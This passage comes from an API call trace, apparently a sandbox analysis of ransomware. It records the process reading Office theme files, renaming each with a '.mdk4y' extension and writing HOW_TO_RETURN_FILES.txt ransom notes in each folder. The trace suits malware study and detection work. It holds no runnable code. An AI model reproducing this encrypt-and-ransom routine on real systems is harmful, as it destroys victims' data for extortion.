lpPerformanceCount=0x37de58*=1819633700000) returned 1 [0121.108] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.mdk4y")) returned 1 [0121.108] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.108] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.109] AreFileApisANSI () returned 1 [0121.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0121.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.109] GetFileType (hFile=0x130) returned 0x1 [0121.110] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.110] AreFileApisANSI () returned 1 [0121.110] GetACP () returned 0x4e4 [0121.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STRTEDGE", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STRTEDGE", lpUsedDefaultChar=0x37df4c) returned 8 [0121.110] AreFileApisANSI () returned 1 [0121.110] GetACP () returned 0x4e4 [0121.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\") returned 65 [0121.121] AreFileApisANSI () returned 1 [0121.121] GetACP () returned 0x4e4 [0121.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0121.121] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.121] AreFileApisANSI () returned 1 [0121.121] GetACP () returned 0x4e4 [0121.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0121.121] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.121] AreFileApisANSI () returned 1 [0121.121] GetACP () returned 0x4e4 [0121.121] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0121.121] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.122] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819635200000) returned 1 [0121.122] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6c9, lpOverlapped=0x0) returned 1 [0121.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819640800000) returned 1 [0121.178] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819640800000) returned 1 [0121.179] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.mdk4y")) returned 1 [0121.179] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.179] AreFileApisANSI () returned 1 [0121.179] GetACP () returned 0x4e4 [0121.179] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STRTEDGE.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="STRTEDGE.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0121.179] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.180] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819641000000) returned 1 [0121.180] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe232, lpOverlapped=0x0) returned 1 [0121.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819642500000) returned 1 [0121.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819642500000) returned 1 [0121.195] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.mdk4y")) returned 1 [0121.249] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.249] AreFileApisANSI () returned 1 [0121.249] GetACP () returned 0x4e4 [0121.249] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STRTEDGE.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="STRTEDGE.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0121.249] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819648000000) returned 1 [0121.250] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x271, lpOverlapped=0x0) returned 1 [0121.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819648100000) returned 1 [0121.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819648100000) returned 1 [0121.252] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.mdk4y")) returned 1 [0121.276] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.276] AreFileApisANSI () returned 1 [0121.276] GetACP () returned 0x4e4 [0121.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0121.277] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.277] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819650700000) returned 1 [0121.278] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x82c7, lpOverlapped=0x0) returned 1 [0121.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819652500000) returned 1 [0121.295] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819652500000) returned 1 [0121.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.mdk4y")) returned 1 [0121.297] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.297] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.297] AreFileApisANSI () returned 1 [0121.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0121.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.297] GetFileType (hFile=0x130) returned 0x1 [0121.298] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.298] AreFileApisANSI () returned 1 [0121.298] GetACP () returned 0x4e4 [0121.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STUDIO", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STUDIOGE", lpUsedDefaultChar=0x37df4c) returned 6 [0121.298] AreFileApisANSI () returned 1 [0121.298] GetACP () returned 0x4e4 [0121.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\(ƣ") returned 63 [0121.298] AreFileApisANSI () returned 1 [0121.298] GetACP () returned 0x4e4 [0121.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0121.298] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.298] AreFileApisANSI () returned 1 [0121.298] GetACP () returned 0x4e4 [0121.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0121.298] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.298] AreFileApisANSI () returned 1 [0121.298] GetACP () returned 0x4e4 [0121.298] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0121.299] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819652900000) returned 1 [0121.299] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x68b, lpOverlapped=0x0) returned 1 [0121.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653000000) returned 1 [0121.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653100000) returned 1 [0121.301] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.mdk4y")) returned 1 [0121.301] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.301] AreFileApisANSI () returned 1 [0121.301] GetACP () returned 0x4e4 [0121.301] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STUDIO.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="STUDIO.ELMF", lpUsedDefaultChar=0x37dec0) returned 10 [0121.301] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.302] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653200000) returned 1 [0121.302] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbfed, lpOverlapped=0x0) returned 1 [0121.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653400000) returned 1 [0121.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653400000) returned 1 [0121.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.mdk4y")) returned 1 [0121.305] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.305] AreFileApisANSI () returned 1 [0121.305] GetACP () returned 0x4e4 [0121.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STUDIO.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="STUDIO.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0121.305] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653600000) returned 1 [0121.306] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x242, lpOverlapped=0x0) returned 1 [0121.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653700000) returned 1 [0121.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819653700000) returned 1 [0121.307] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.mdk4y")) returned 1 [0121.388] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.388] AreFileApisANSI () returned 1 [0121.388] GetACP () returned 0x4e4 [0121.388] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0121.388] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819661800000) returned 1 [0121.388] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x47cc, lpOverlapped=0x0) returned 1 [0121.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819668600000) returned 1 [0121.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819668700000) returned 1 [0121.457] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.mdk4y")) returned 1 [0121.458] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0121.458] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0121.458] AreFileApisANSI () returned 1 [0121.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0121.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0121.458] GetFileType (hFile=0x130) returned 0x1 [0121.459] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0121.459] AreFileApisANSI () returned 1 [0121.459] GetACP () returned 0x4e4 [0121.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUMIPNTG", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SUMIPNTG", lpUsedDefaultChar=0x37df4c) returned 8 [0121.459] AreFileApisANSI () returned 1 [0121.459] GetACP () returned 0x4e4 [0121.459] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\") returned 65 [0121.459] AreFileApisANSI () returned 1 [0121.459] GetACP () returned 0x4e4 [0121.459] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0121.459] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.460] AreFileApisANSI () returned 1 [0121.460] GetACP () returned 0x4e4 [0121.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0121.460] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0121.460] AreFileApisANSI () returned 1 [0121.460] GetACP () returned 0x4e4 [0121.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0121.460] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0121.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819669000000) returned 1 [0121.460] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x137f, lpOverlapped=0x0) returned 1 [0121.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819672400000) returned 1 [0121.494] 